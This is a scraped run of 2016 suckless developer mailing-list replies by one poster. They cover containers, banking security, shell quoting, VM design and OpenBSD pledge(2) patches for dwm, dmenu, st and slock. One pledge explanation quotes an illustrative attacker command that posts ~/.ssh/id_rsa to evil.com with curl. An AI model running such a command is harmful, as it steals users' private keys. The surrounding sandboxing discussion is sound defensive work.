Face it. The reason why we have containers, is because most applications are a stinking pile of crap, and we needed a way to confine them into something manageable. If the people that wrote all of that shitty code cared about being suckless, they'd have to harakiri. Now once you have a container, it doesn't matter at all, which host OS is it running under. On AWS, your cluster runs Amazon Linux, some sort of bastardised CentOS knockoff. On GCP, your clusters run on Debian Wheezy. (Yes, I WTF'd and LOL'd, but hey, if it works, it ain't broke.) Is there any difference? No, the Docker daemon is a single, statically linked binary. <3,K.
Re: [dev] Suckless e-comerce script proposal
On Thu, 22 Sep 2016, FRIGN wrote: > A good way to shop at Amazon is with gift cards. [...] Thanks for the tip! I'll share this with our IT dept.
Re: [dev] Suckless e-comerce script proposal
On Thu, 22 Sep 2016, Jochen Sprickerhof wrote: > I would never do that. Having lot's of JS fiddling around in my bank > account sounds scary. You're more-or-less without a choice if you want to do online banking. Also safety in numbers. 99% of the cases of people getting pwned are because they open random links and don't look at their fucking address bar. > Also, any TAN system (be it SMS or whatever) is broken by design (and > there are reports for people exploiting it for all of them). Yes, because a three digit code printed on the back of your CC, that changes once in every 3-5 years, and that gets shared with three dozen different vendors, is s mch beeetteeer. When I want to shop for stuff needed at $WORK, basically I can no longer even look at Amazon, because we were getting CC frauds every few months. 10 years of dealing with my bank's crappy JS and SMS codes and I haven't been robbed off a single grosz. (Just my PLN 0.01) <3,K.
Re: [dev] Suckless e-comerce script proposal
On Thu, 22 Sep 2016, Bobby Powers wrote: > Are you saying that doing wire transfers in Europe is common, or doing > wire transfers to pay for online goods? I'm glad to hear it is less > of a horrendous experience, but it still feels like a suck idea to > make customers jump through an additional hoop on their own, and > expect them to correctly (and without error) copy/paste the correct > amount from the order confirmation into a bank transfer form. If you > suggest writing a script to automate this: it is suck to suggest > customers write software to uniquely interact with your web site. In Poland, on most online shopping services, you click "pay with bank transfer" at the checkout. Click the logo of your bank, get a redirect to the bank's online transaction service, type in your user&pass, review the transaction, get an SMS with one-time code to confirm it, and click OK. It's marginally more complicated than typing the CC number and infinitely more secure (MFA, one-time codes are all standard). Transfers are instant, you usually get the goods the next day. However it's very JS-heavy, which is the only part that really sucks. <3,K.
Re: [dev] Suckless e-comerce script proposal
On Thu, 22 Sep 2016, Joseph Graham wrote: > I would like some feedback on some ideas I have for a script to make a very > simple, but very secure, e-commerce website. Maybe it can be "slecommerce". I don't think highly domain-specific applications belong under the suckless umbrella. While each suckless tool does one thing, and does it well, the applications are always very broad. st is not a nethack-playing terminal, it's a terminal; dmenu is not just yet another command launcher, it's a generic menu system; etc. Of course it doesn't hurt to take some of the suckless principles (e.g. less code, clean code, simple architecture, few dependencies), and apply in your own projects. (just my $.02) <3,K.
Re: [dev] trying Stali in emulator
On Fri, 16 Sep 2016, Greg Reagle wrote: > I'd like to try out Stali. I don't have and don't want a Raspberry Pi. > I have an old desktop PC (currently running Debian) that I could use for > real hardware, or I could use an emulator. All else being equal, I > prefer an emulator. What do you recommend (which emulator)? Thanks. qemu works fine
Re: [dev] Re: [stali] updating package source
On Thu, 15 Sep 2016, Anselm R Garbe wrote: > Let's call the tool metasrc, it consists of a metafile that contains the > format: > > # comment > local/path/situation:git-url[#tag|ref|branch] > ... [snip] > This has also the advantage, that in theory one could also deal with > other source control systems, if some repo is not available as git but > instead as hg or even just a tarball. Gets interesting from here. The metafile format would have to specify how to interpret the "*-url[#...]" part and invoke the correct helper tool. Something like: > some/local/path:scm:url#ref E.g. > vendor/asdf:git:https://github.com/asdf/asdf#master > vendor/qwer:svn:https://svn.example.com/qwer#r1234 Next, how do we handle extracting tarballs? In: > vendor/zxcv:tgz:http://ftp.example.com/pub/zxcv.tgz Assuming zxcv.tgz has contents: > zxcv/readme.txt > zxcv/zxcv.c How does this get extracted? Like this? > vendor/zxcv/zxcv/readme.txt > vendor/zxcv/zxcv/zxcv.c Or like this? > vendor/zxcv/readme.txt > vendor/zxcv/zxcv.c What if the "zxcv" in "vendor/zxcv" doesn't match the "zxcv" in zxcv.tgz? <3,K.
Re: [dev] Shell style guide
On Thu, 08 Sep 2016, Nick wrote: > I am against writing scripts that can deal with filenames with > newlines. Fuck such filenames. If you have to deal with them, shell > scripting is a terrible technology to use. And since you never know when you'll have to deal with them...
Re: [dev] Shell style guide
On Thu, 08 Sep 2016, Evan Gates wrote:
> No. $@ is another example of something that _must_ be quoted every
> time. When inside quotes the shell expands it correctly to a word for
> each parameter. Without quotes the shell will do extra word splitting
> and globbing. For example, try this:
>
> nargs() { echo "$#"; }
> set -- foo 'bar baz'
> echo "$#"
> nargs "$@"
> nargs $@
>
> When in a case statement should you not quote? I can't think of any examples.
Wow, shell quoting is just fucked up crazy. I was mostly using unquoted
$@ my whole life. And here I thought I knew enough not to screw up a
simple script, but there just always seems to be a new hidden gotcha.
Perhaps we should start with a simple, minimalistic list of allowed
constructs, and make it a policy to use rc/c for anything else?
(Also, isn't this how C++ was finally outlawed here? long long time ago?
People trying to agree which subset was "sane" and ultimately deciding
none of it was?)
<3,K.
Re: [dev] Sane office alternative?
On Thu, 25 Aug 2016, Cág wrote: > FRIGN wrote: > >> I can recommend Abiword <...> > > Abiword sucks, in my opinion. I've tried it numerous times and many > times it crashed > without recover. It started when they switched to GTK+3. > > Luckily, I don't depend on formats and use LaTeX in my nvi. There is > sc/vc for > spreadsheets. > > Peace, > Cág Pandoc?
Re: [dev] Never Ending Systemd Chronicles
I don't think we need more systemd hate - people are already in one camp or another. We do need a single, solid, real world, battle-proven solution, to propose as a viable alternative for distros to implement. Systemd does solve two things: 1. it's now universally available across all major distros, and 2. it has a stable set of basic interfaces (unit files, commands). No, runit is not the answer, it's only a building block. <3,K.
Re: [dev] Allow secure access to Web site suckless.org
Alternative to the CA system: http://convergence.io/ Alternative to SSL: use SSH to clone git repos. The site contents are available over git as well. Food for thought: https://github.com/shazow/ssh-chat Now, if there was public SSH access, things like gitolite do exist... <3,K.
Re: [dev] Proper window type for dwm and dmenu
On Tue, 19 Jul 2016, Staven wrote: > Shadows... with a tiling window manager? > How does that work? Actually, yes, slightly useful. It highlights the current window when there's no border - my preferred setup, to get these 2x80 columns with Terminus 14 on a 1280px wide screen. Also nice for random floating popups. I run xcompmgr with -cC -l -5 -t -5 -r 3 . <3,K.
Re: [dev] [dlogout] I wrote a basic logout-/shutdown-menu for use with dwm.
On Sun, 19 Jun 2016, Thomas Oltmann wrote: > So, what do you think? Do you even feel there's a need for a > shutdown-menu for dwm? Are you happy with the quality of the source code? What does it do that dmenu + a shell script can't?
Re: [dev] JIT & VM discussion
On Sat, 18 Jun 2016, Connor Lane Smith wrote: > Hi all, > > I was wondering if others had an opinion on JIT. Suppose we don't need > anything fancy like adaptive optimisation, but just wanted to compile > a program at runtime. One possibility might be to generate C code and > store that in a file and then call the C compiler and then execute the > resulting binary... But that seems a bit unpleasant, prone to > compilation failure, and not particularly lightweight either. > > One solution could be simply to produce assembly code, but then that > is tied to a specific architecture, which is unfortunate. There's also > LLVM, but that is a very big and complicated dependency, which > shouldn't really be necessary if we're just jitting something quickly > and don't mind it being a little unoptimised for the sake of > simplicity and speed of compilation. We just want to portably generate > machine code and then run it. > > An ideal might be something like an abstract instruction set together > with a JIT for the abstract machine. To be honest a JIT might not even > be necessary so long as it is has very little interpretation overhead, > the instruction set is general purpose and fixed, and it plays well > with the C memory model. > > Does anyone have any ideas? > > Thanks, > cls Hi Connor, Creating a simple and general-purpose VM shouldn't be hard! It used to be my favourite exercise for learning a new programming language. Probably much more difficult to get real-world performance; I wouldn't be surprised if the initial efforts resulted in a 1000x-slower-than-C execution speed for typical programs. With lots of test cases, tuning, benchmarks, and generally a lot of hard work, I can imagine you could bring it to the 10-100x-slower[1] class. [1]: https://benchmarksgame.alioth.debian.org/u64q/compare.php?lang=python3&lang2=gcc Of course this doesn't matter that much if your purpose is mostly scripting behavior (games), or IO-bound stuff (as in waiting for database - things like Snabb[2] actually do need some real power). Having good C interop via FFI can save you in many cases. [2]: https://github.com/snabbco/snabb Yes, JITing is inherently architecture-specific, but the bytecode can be designed with trade-offs between interpretation and compilation speed. These days supporting x86-64, ARM and MIPS probably covers >99% of the devices you'll ever encounter in the wild; the rest can run a bit slower until someone is motivated enough to write a JIT backend. I've never had a close look at any of the Big Name VMs, as most of that code must suck horribly. Some real-world VMs&JITs however remained relatively simple - I think there might be a lot to learn from Dis[3] and LuaJIT[4]. [3]: http://doc.cat-v.org/inferno/4th_edition/dis_VM_design [4]: http://luajit.org/ If you have some concrete applications in mind, please do share. I'd gladly give a shot at prototyping something in this area. <3,K.
Re: [dev] which versions are dwm patches intended to apply to cleanly?
On Thu, 16 Jun 2016, David Phillips wrote: > What? Since when were any patches "supported"? The amount of effort that goes into organising them (as evidenced by the thread) indicates that, in fact, there is some "support".
Re: [dev] which versions are dwm patches intended to apply to cleanly?
On Wed, 15 Jun 2016, David Phillips wrote: > Some people thought it was a good idea to use 6.1 to denote git head before > 6.1 actually came out. This worked fine until they stopped maintaining > their patches to apply against git head. > > Something should be done about the patches that no longer apply cleanly, > however. Keep the "supported" patches as commits on separate branches in the official git repo? - Pretty obvious which commit is the patch derived from, +1 - Quite easy to rebase a patch to latest master, +1 - Are git branches considered suckless though? :) K.
Re: [dev] [lnanosmtp]
On Fri, 10 Jun 2016, Louis Santillan wrote: > As to justification, I'd say, that depends. Libc (and C in general) > has some well known, well documented bugs that exists simply to keep > old code compiling (many methods that start with str*, malloc/free > corner but frequent cases, etc). I'd say that's sucks. And that is > why we have seen the proliferation of languages in the last 30 years > (since ansi c acceptance). A condition of NIH and a far worse sin > than trying to fix the situation by utilizing a lower level api. > > Take Plan 9 or Go-lang. Is that NIH? Or is that someone > experimenting and/or seizing an opportunity to suckless? Very good points. However I don't think such a low-level framework belongs as a part of an smtpd. If libc sucks, write a better libc! But make sure it's well-tested, portable, bug-free, usable, uses good and sane interfaces, etc etc etc. Then measure adoption in applications versus other libnih's.
Re: [dev] [lnanosmtp]
On Thu, 09 Jun 2016, Sylvain BERTRAND wrote: > On Thu, Jun 09, 2016 at 02:03:33PM +0200, Kamil Cholewiński wrote: >> On Thu, 09 Jun 2016, Sylvain BERTRAND wrote: >> > Hi, >> > >> > Introducing a new minimal and naive smtp server à la suckless: lnanosmtp >> > >> > https://github.com/sylware/lnanosmtp >> > https://repo.or.cz/lnanosmtp.git >> > >> > cheers, >> > >> > -- >> > Sylvain >> >> Ages old, stupid question. What's wrong with libc? > > Overkill, don't need that much. > > -- > Sylvain So libc is overkill, but instead you ship an entire tangled hierarchy of nonportable and arch-specific headers to talk directly to the kernel, which will all probably break in a random point release. To receive mail. Interesting.
Re: [dev] [lnanosmtp]
On Thu, 09 Jun 2016, Sylvain BERTRAND wrote: > Hi, > > Introducing a new minimal and naive smtp server à la suckless: lnanosmtp > > https://github.com/sylware/lnanosmtp > https://repo.or.cz/lnanosmtp.git > > cheers, > > -- > Sylvain Ages old, stupid question. What's wrong with libc?
Re: [dev] pledge(2) patches
On Mon, 06 Jun 2016, FRIGN wrote: > What it all brings up is the issue of IPC. Can you people suggest > your favourite approach to IPC? If not, maybe we could look into > writing a very simple library (name-suggestion "sippy" :P) which > builds on top of UDS and implements a very simple messaging > protocol. I know I'm starting to sound like an OBSD fanboi, but have you considered imsg? http://man.openbsd.org/OpenBSD-current/man3/imsg_init.3 Otherwise I'm a fan of anything simple, ASCII, human-readable, newline-terminated. <3,K.
Re: [dev] pledge(2) patches
On Mon, 06 Jun 2016, Martin Kühne wrote: > Also, the way it is designed is a rather silly approach to security > which is much more revealing about today's idiotic way of writing > software by including tens of millions of SLOC of dependencies instead > of doing the one thing for the one job. Design is mostly a matter of taste, but seems like you got everything backwards: - Run sloccount on OpenBSD source (the entire system) and compare with the Linux kernel alone. You'll find the difference is in orders of magnitude in OpenBSD's favor. - Pledge does exactly one thing, and the implementation is simple, clear and straightforward. (Go read the source! Now!) I would say for some people it's perhaps too simple, as it may correctly handle 99% of the real-world use cases, but it doesn't allow any extra flexibility when needed. But yes, for me that's also a feature, and a mark of good design. > Doesn't the loader also have a say in what addresses are known to a > process? Pledge only deals with syscalls, so yes, the loader in the kernel knows exactly which ones are available to the process, and denies them, per request. Yes, it can be implemented as a filesystem flag, but it would be much less effective. > I personally find the idea of polluting our source code for this > appalling and suggest the wiki. I understand the sentiment of not wanting OS-specific functionality in an otherwise very portable piece of software, but since you're so outspoken about it, I'm very curious about which real-world alternatives would you recommend. <3,K.
Re: [dev] pledge(2) patches
On Mon, 06 Jun 2016, Martin Kühne wrote: > Can it somehow be made to keep its effect across the exec family of syscalls? > > cheers! > mar77i No. This is why pledging "stdio proc exec" is still quite dangerous. A well-designed program may try separating this functionality into a separate utility, or at least a different process. For example, the latest version of my dwm patch uses "stdio rpath proc exec", which means, if e.g. there was a bug in window title handling, a potential attacker could exploit it to run sth like "curl -d @.ssh/id_rsa http://evil.com/"; or whatever else he needs to steal your laundry. Theoretically, such a bug could be exploited just by loading a web page or SSHing to a remote server - even if the web browser, the terminal emulator, the SSH client, were otherwise all secure. But the only reason dwm needs proc and exec, is so that it can spawn st, dmenu, etc on a keypress. This functionality could be handled by a separate tool or a subprocess, that doesn't need to process window titles. In such case, main dwm process could pledge to only use "stdio rpath". Hope this clarifies everything! <3,K.
Re: [dev] pledge(2) patches
On Mon, 06 Jun 2016, Martin Kühne wrote: > I don't understand the purpose of pledge, since it's under the control > of the programmer, but so is what the program does just as well. In > what way is the programmer supposed to prevent himself from doing what > they were going to do anyway? > > cheers! > mar77i If you are Knuth or DJB and write perfect, bug-free programs on the first try, you don't need pledge. But the rest of us are mere mortals. Pledge is about what you *didn't* expect your program to do. Think, you download a random file from the Internet. You run file(1) on it, and boom! A hole in libmagic and the attacker managed to execute arbitrary code on your box. With pledge, the arbitrary code still executes, but is limited to whatever syscalls your program has pledged to use. In a well-designed, privilege-separated program, this can limit the potential damage, from full pwnage to a mere crash. <3,K.
Re: [dev] pledge(2) patches
On Mon, 06 Jun 2016, Ben Woolley wrote:
> But then, isn't that what config.h can do? Try it in config.h and see
> how you feel. A lot of OS-specific features are enabled from
> configuration in other software.
The "problem" with pledge, is you have to let the program initialise
completely, and only then drop the privileges. Otherwise it could've
been implemented as a flag on the executable file.
If you'd make this a generic hook, it might get tricky to inject the
right behavior at the right stage, plus the cognitive cost of extra
indirection / abstraction.
Pledge is extremely human-friendly, and about as simple as it can get.
In almost every case, calling it is two lines of code, with xpledge it's
one. Compare with SecComp.
On Sun, 05 Jun 2016, FRIGN wrote:
> [...] why not do it like this?
>
> #ifndef __OpenBSD__
> int pledge(const char *promises, const char *paths[]) { return 0; }
> #endif
This is exactly how I've done it in v2:
http://lists.suckless.org/dev/1605/29066.html
> However, there always will remain a bad aftertaste given it's an
> OS-dependent solution.
Agree, however I've also found this:
https://github.com/Duncaen/OpenDoas/blob/master/libopenbsd/pledge-seccomp.c
TLDR: pledge on Linux implemented in terms of SecComp.
SecComp sucks, but so does Linux - if you can swallow all of the added
suck, it's now possible to have pledge on two different platforms. Which
IMO sets a nice precedent - what if libopenbsd was made a bit more
suckless? What if the other OS's followed? What if pledge was
standardised? Etc.
<3,K.
Re: [dev] pledge(2) patches
On Fri, 03 Jun 2016, Christoph Lohmann <2...@r-36.net> wrote: > For st this will never be included in mainline. Please add it do the wi‐ > ki, if you think it’s relevant for others. I will try having it accepted in ports first. Security shouldn't be opt-in. <3,K.
Re: [dev] [surf] bug: sessions last only a few hours
On Fri, 03 Jun 2016, Christoph Lohmann <2...@r-36.net> wrote: > 2‐factor authentication is doomed to fail. Don’t use it. This suggestion doesn't help when your org requires & enforces 2FA...
Re: [dev] Different versions of suckless libutf
On Wed, 01 Jun 2016, Connor Lane Smith wrote: > So the question is whether libutf is meant to deal only with UTF-8 > (which is constant), or other Unicode features too (which are > dynamic). My point is, whenever possible, make the library user's life better. Frozen implementation? It'd be nice to have, but we're not living in a frozen world - if Unicode moves on, user's program will either have to follow (one way or another), or break, possibly resulting in security issues. A stable library interface is already great value. If all I need is to re-link and deploy, I'm happy. At $WORK, I build things other people use to build their things. It's not C libraries, but the story is quite similar. My thing's interface is stable, things that ran 3 years ago still run today - that's in a place where we build ca 100 new things a year. But the implementation details of my thing keep evolving. Yes, it's getting horribly complex, but that's because the problem domain is horribly complex. You can't brush it under the carpet, the complexity has to be handled at some point. But we're happy, because 10 other teams don't have to repeat my work. <3,K.
Re: [dev] Different versions of suckless libutf
On Wed, 01 Jun 2016, Ben Woolley wrote: > That is the reason why I am erring on the side of 5% this time. The 95% use case here is handling UTF8-encoded Unicode text. Secure by default should be the norm, not a magic flag, not buried in a readme. If you need to encode an arbitrarily large integer into a stream of bytes, then use a library specifically designed for encoding arbitrarily large integers into streams of bytes. Yes, we're making up problems.
Re: [dev] Different versions of suckless libutf
On Wed, 01 Jun 2016, Ben Woolley wrote: > I see two things to do: > 1. There could be a new name for the transformation that stands apart > from UTF-8, which has now been changed from that original meaning. > [...] > > Maybe call the transform CTF-8, where C is character. Then UTF-8 is > just a wrapper around CTF-8. Then a comment explaining what CTF stands > for and what it does should be sufficient. > > Then there can be libctf and libutf living in cognitive harmony. > > Instead of CTF, it could be called ur-UTF in liburutf. Then it would > literally be urtext, which would be mildly amusing at least to me. Oy, this will cause infinite neverending confusion and multiply the mess, let alone it just plain won't take off. Most laydevs I know already can't tell the difference between UTF8 and Unicode. Looks like we're creating problems out of thin air here. Find the 95% use case and cater to it. <3,K.
Re: [dev] pledge(2) patches
Hi all,
new versions of all four patches attached. Changes:
- Added dummy pledge definition on other platforms
- Added xpledge, refactored
- Added rpath to final pledge in dwm; turns out xfont sometimes wants
new fonts at runtime.
Cheers!
K.
diff --git a/dmenu.c b/dmenu.c
index e0c2f80..72f8207 100644
--- a/dmenu.c
+++ b/dmenu.c
@@ -1,5 +1,6 @@
/* See LICENSE file for copyright and license details. */
#include
+#include
#include
#include
#include
@@ -15,6 +16,13 @@
#endif
#include
+/* portability */
+#ifdef __OpenBSD__
+#include
+#else
+int pledge(const char *promises, const char *paths[]) { return 0; }
+#endif
+
#include "drw.h"
#include "util.h"
@@ -491,11 +499,21 @@ readstdin(void)
lines = MIN(lines, i);
}
+void
+xpledge(const char *promises, const char *paths[])
+{
+ if (pledge(promises, paths) < 0) {
+ die("dmenu: pledge: %s (%s)\n", strerror(errno), promises);
+ }
+}
+
static void
run(void)
{
XEvent ev;
+ xpledge("stdio", NULL);
+
while (!XNextEvent(dpy, &ev)) {
if (XFilterEvent(&ev, win))
continue;
@@ -654,6 +672,8 @@ main(int argc, char *argv[])
else
usage();
+ xpledge("stdio rpath dns unix", NULL);
+
if (!setlocale(LC_CTYPE, "") || !XSupportsLocale())
fputs("warning: no locale support\n", stderr);
if (!(dpy = XOpenDisplay(NULL)))
@@ -668,6 +688,8 @@ main(int argc, char *argv[])
die("no fonts could be loaded.\n");
drw_setscheme(drw, &scheme[SchemeNorm]);
+ xpledge("stdio rpath", NULL);
+
if (fast) {
grabkeyboard();
readstdin();
diff --git a/dwm.c b/dwm.c
index ff7e096..efd5d12 100644
--- a/dwm.c
+++ b/dwm.c
@@ -57,6 +57,11 @@
#define TAGMASK ((1 << LENGTH(tags)) - 1)
#define TEXTW(X)(drw_text(drw, 0, 0, 0, 0, (X), 0) + drw->fonts[0]->h)
+/* portability */
+#ifndef __OpenBSD__
+int pledge(const char *promises, const char *paths[]) { return 0; }
+#endif
+
/* enums */
enum { CurNormal, CurResize, CurMove, CurLast }; /* cursor */
enum { SchemeNorm, SchemeSel, SchemeLast }; /* color schemes */
@@ -232,6 +237,7 @@ static Monitor *wintomon(Window w);
static int xerror(Display *dpy, XErrorEvent *ee);
static int xerrordummy(Display *dpy, XErrorEvent *ee);
static int xerrorstart(Display *dpy, XErrorEvent *ee);
+static void xpledge(const char *promises, const char *paths[]);
static void zoom(const Arg *arg);
/* variables */
@@ -2112,6 +2118,14 @@ xerrorstart(Display *dpy, XErrorEvent *ee)
}
void
+xpledge(const char *promises, const char *paths[])
+{
+ if (pledge(promises, paths) < 0) {
+ die("dwm: pledge: %s (%s)\n", strerror(errno), promises);
+ }
+}
+
+void
zoom(const Arg *arg)
{
Client *c = selmon->sel;
@@ -2132,13 +2146,16 @@ main(int argc, char *argv[])
die("dwm-"VERSION "\n");
else if (argc != 1)
die("usage: dwm [-v]\n");
+ xpledge("stdio rpath dns unix prot_exec proc exec", NULL);
if (!setlocale(LC_CTYPE, "") || !XSupportsLocale())
fputs("warning: no locale support\n", stderr);
if (!(dpy = XOpenDisplay(NULL)))
die("dwm: cannot open display\n");
+ xpledge("stdio rpath prot_exec proc exec", NULL);
checkotherwm();
setup();
scan();
+ xpledge("stdio rpath proc exec", NULL);
run();
cleanup();
XCloseDisplay(dpy);
diff --git a/st.c b/st.c
index 27536d2..5b18b58 100644
--- a/st.c
+++ b/st.c
@@ -45,6 +45,9 @@ char *argv0;
#elif defined(__FreeBSD__) || defined(__DragonFly__)
#include
#endif
+#ifndef __OpenBSD__
+int pledge(const char *promises, const char *paths[]) { return 0; }
+#endif
/* XEMBED messages */
@@ -368,6 +371,7 @@ static void execsh(void);
static void stty(void);
static void sigchld(int);
static void run(void);
+static void xpledge(const char *promises, const char *paths[]);
static void csidump(void);
static void csihandle(void);
@@ -4224,6 +4228,8 @@ run(void)
struct timespec drawtimeout, *tv = NULL, now, last, lastblink;
long deltatime;
+ xpledge("stdio rpath wpath tty proc getpw exec", NULL);
+
/* Waiting for window mapping */
do {
XNextEvent(xw.dpy, &ev);
@@ -4247,6 +4253,8 @@ run(void)
clock_gettime(CLOCK_MONOTONIC, &last);
lastblink = last;
+ xpledge("stdio rpath tty proc", NULL);
+
for (xev = actionfps;;) {
FD_ZERO(&rfd);
FD_SET(cmdfd, &rfd);
@@ -4336,6 +4344,14 @@ usage(void)
" [stty_args ...]\n", argv0, argv0);
}
+void
+xpledge(const char *promises, const char *paths[])
+{
+ if (pledge(promises, paths) < 0) {
+ die("st: pledge: %s (%s)\n", strerror(errno), promises);
+ }
+}
+
int
main(int argc, char *argv[])
{
diff --git a/slock.c b/slock.c
index c9cdee2..d8b9913 100644
--- a/slock.c
+++ b/slock.c
@@ -23,6 +23,10 @@
#include
#endif
+#ifndef __OpenBSD__
+int pledge(const char *promises, const char *paths[]) { return 0; }
+#endif
+
enum {
INIT,
INPUT,
@@ -280,6 +284,14 @@ usage(void)
exit(1);
}
+void
+xpledge(const char *promises, const char *paths[])
+{
+ if (pledge(promises, paths) < 0) {
+ die("slock: pledge: %s (%s)\n", strerror(errno), promises);
+ }
+}
+
Re: [dev] pledge(2) patches
On Wed, 18 May 2016, Marc André Tanner wrote:
> Independent of whether the functionality is desired, you probably want
> to implement it along the lines of:
>
> #ifndef __OpenBSD__
> int pledge(const char *promises, const char *paths[]) { return 0; }
> #endif
>
> This way you won't clutter all the call sites and they are at least
> compile tested on all platforms.
Excellent point, changed.
I can imagine most of pledge could be implemented on Linux using
SecComp... But that'd probably be bigger than dwm itself.
> Also because you always die upon failure you might want to introduce
> an xpledge(...) wrapper which could also print a more descriptive error
> message (pledging for which resource failed).
Like this is ok?
void
xpledge(const char *promises, const char *paths[])
{
if (pledge(promises, paths) < 0) {
perror("pledge");
die("dwm: tried to pledge: %s\n", promises);
}
}
Attached the new diff for dwm, I will modify the rest if this one looks
OK.
Thanks,
K.
diff --git a/dwm.c b/dwm.c
index ff7e096..950b813 100644
--- a/dwm.c
+++ b/dwm.c
@@ -57,6 +57,11 @@
#define TAGMASK ((1 << LENGTH(tags)) - 1)
#define TEXTW(X)(drw_text(drw, 0, 0, 0, 0, (X), 0) + drw->fonts[0]->h)
+/* portability */
+#ifndef __OpenBSD__
+int pledge(const char *promises, const char *paths[]) { return 0; }
+#endif
+
/* enums */
enum { CurNormal, CurResize, CurMove, CurLast }; /* cursor */
enum { SchemeNorm, SchemeSel, SchemeLast }; /* color schemes */
@@ -232,6 +237,7 @@ static Monitor *wintomon(Window w);
static int xerror(Display *dpy, XErrorEvent *ee);
static int xerrordummy(Display *dpy, XErrorEvent *ee);
static int xerrorstart(Display *dpy, XErrorEvent *ee);
+static void xpledge(const char *promises, const char *paths[]);
static void zoom(const Arg *arg);
/* variables */
@@ -2112,6 +2118,15 @@ xerrorstart(Display *dpy, XErrorEvent *ee)
}
void
+xpledge(const char *promises, const char *paths[])
+{
+ if (pledge(promises, paths) < 0) {
+ perror("pledge");
+ die("dwm: tried to pledge: %s\n", promises);
+ }
+}
+
+void
zoom(const Arg *arg)
{
Client *c = selmon->sel;
@@ -2132,13 +2147,16 @@ main(int argc, char *argv[])
die("dwm-"VERSION "\n");
else if (argc != 1)
die("usage: dwm [-v]\n");
+ xpledge("stdio rpath dns unix prot_exec proc exec", NULL);
if (!setlocale(LC_CTYPE, "") || !XSupportsLocale())
fputs("warning: no locale support\n", stderr);
if (!(dpy = XOpenDisplay(NULL)))
die("dwm: cannot open display\n");
+ xpledge("stdio rpath prot_exec proc exec", NULL);
checkotherwm();
setup();
scan();
+ xpledge("stdio proc exec", NULL);
run();
cleanup();
XCloseDisplay(dpy);
[dev] pledge(2) patches
Hi folks,
This is purely OpenBSD-specific; had a brief look at SecComp and
promptly ran away.
Included are pledge(2) diffs for dwm, dmenu, st and slock. I've been
testing these for a week now (both stress-tests and normal usage), and I
have no ill effects to report.
- st has been tortured with cat'ing from /dev/random, ssh'ing into some
odd boxes, running all sorts of silly ncurses apps, etc. I'm writing
this email by ssh'ing via mosh to a Linux box running emacs in tmux,
and everything looks good.
- slock has been thoroughly keyboard-mashed. The question stands,
whether it's a good idea for a potentially non-exploitable bug in
slock to be able to kill it and unlock the screen. Perhaps only worth
enabling in "debug mode"?
- dmenu survived cat'ing some serious /dev/random.
- dwm hasn't been tested super-thoroughly, since I keep this one machine
free from most random crap; however all of the above apps + dillo,
firefox, xconsole, and some others didn't seem to cause any problems.
My approach was to first try dropping as much privileges as possible
before initialisation, and then some more right before entering the main
loop. I believe even more privileges could be dropped, e.g. in dwm, if
it used a separate process for handling keyboard launching.
Tested on 5.9-stable, amd64.
If there's interest, I could work on pledging other suckless tools as
well (sbase? ii? quark? sup? suggestions?).
Thanks!
K.
diff --git a/dwm.c b/dwm.c
index ff7e096..aab76b2 100644
--- a/dwm.c
+++ b/dwm.c
@@ -2132,13 +2132,28 @@ main(int argc, char *argv[])
die("dwm-"VERSION "\n");
else if (argc != 1)
die("usage: dwm [-v]\n");
+#if defined(__OpenBSD__)
+ if (pledge("stdio rpath dns unix prot_exec proc exec", NULL) < 0) {
+ die("pledge\n");
+ }
+#endif
if (!setlocale(LC_CTYPE, "") || !XSupportsLocale())
fputs("warning: no locale support\n", stderr);
if (!(dpy = XOpenDisplay(NULL)))
die("dwm: cannot open display\n");
+#if defined(__OpenBSD__)
+ if (pledge("stdio rpath prot_exec proc exec", NULL) < 0) {
+ die("pledge\n");
+ }
+#endif
checkotherwm();
setup();
scan();
+#if defined(__OpenBSD__)
+ if (pledge("stdio proc exec", NULL) < 0) {
+ die("pledge\n");
+ }
+#endif
run();
cleanup();
XCloseDisplay(dpy);
diff --git a/dmenu.c b/dmenu.c
index e0c2f80..47a69a7 100644
--- a/dmenu.c
+++ b/dmenu.c
@@ -6,6 +6,7 @@
#include
#include
#include
+#include /* pledge(2) */
#include
#include
@@ -496,6 +497,12 @@ run(void)
{
XEvent ev;
+#if defined(__OpenBSD__)
+ if (pledge("stdio", NULL) < 0) {
+ die("pledge\n");
+ }
+#endif
+
while (!XNextEvent(dpy, &ev)) {
if (XFilterEvent(&ev, win))
continue;
@@ -654,6 +661,12 @@ main(int argc, char *argv[])
else
usage();
+#if defined(__OpenBSD__)
+ if (pledge("stdio rpath dns unix", NULL) < 0) {
+ die("pledge\n");
+ }
+#endif
+
if (!setlocale(LC_CTYPE, "") || !XSupportsLocale())
fputs("warning: no locale support\n", stderr);
if (!(dpy = XOpenDisplay(NULL)))
@@ -668,6 +681,12 @@ main(int argc, char *argv[])
die("no fonts could be loaded.\n");
drw_setscheme(drw, &scheme[SchemeNorm]);
+#if defined(__OpenBSD__)
+ if (pledge("stdio rpath", NULL) < 0) {
+ die("pledge\n");
+ }
+#endif
+
if (fast) {
grabkeyboard();
readstdin();
diff --git a/st.c b/st.c
index 27536d2..eb5b6b0 100644
--- a/st.c
+++ b/st.c
@@ -4224,6 +4224,12 @@ run(void)
struct timespec drawtimeout, *tv = NULL, now, last, lastblink;
long deltatime;
+#if defined(__OpenBSD__)
+ if (pledge("stdio rpath wpath tty proc getpw exec", NULL) < 0) {
+ die("pledge\n");
+ }
+#endif
+
/* Waiting for window mapping */
do {
XNextEvent(xw.dpy, &ev);
@@ -4247,6 +4253,12 @@ run(void)
clock_gettime(CLOCK_MONOTONIC, &last);
lastblink = last;
+#if defined(__OpenBSD__)
+ if (pledge("stdio rpath tty proc", NULL) < 0) {
+ die("pledge\n");
+ }
+#endif
+
for (xev = actionfps;;) {
FD_ZERO(&rfd);
FD_SET(cmdfd, &rfd);
diff --git a/slock.c b/slock.c
index c9cdee2..7f17ed3 100644
--- a/slock.c
+++ b/slock.c
@@ -299,6 +299,12 @@ main(int argc, char **argv) {
dontkillme();
#endif
+#if defined(__OpenBSD__)
+ if (pledge("stdio dns unix rpath prot_exec getpw proc exec", NULL) < 0) {
+ die("pledge\n");
+ }
+#endif
+
if (!getpwuid(getuid()))
die("no passwd entry for you\n");
@@ -334,6 +340,12 @@ main(int argc, char **argv) {
die("execvp %s failed: %s\n", argv[1], strerror(errno));
}
+#if defined(__OpenBSD__)
+ if (pledge("stdio rpath getpw proc exec", NULL) < 0) {
+ die("pledge\n");
+ }
+#endif
+
/* Everything is now blank. Now wait for the correct password. */
#ifdef HAVE_BSD_AUTH
readpw(dpy);
Re: [dev] [slock] PAM support
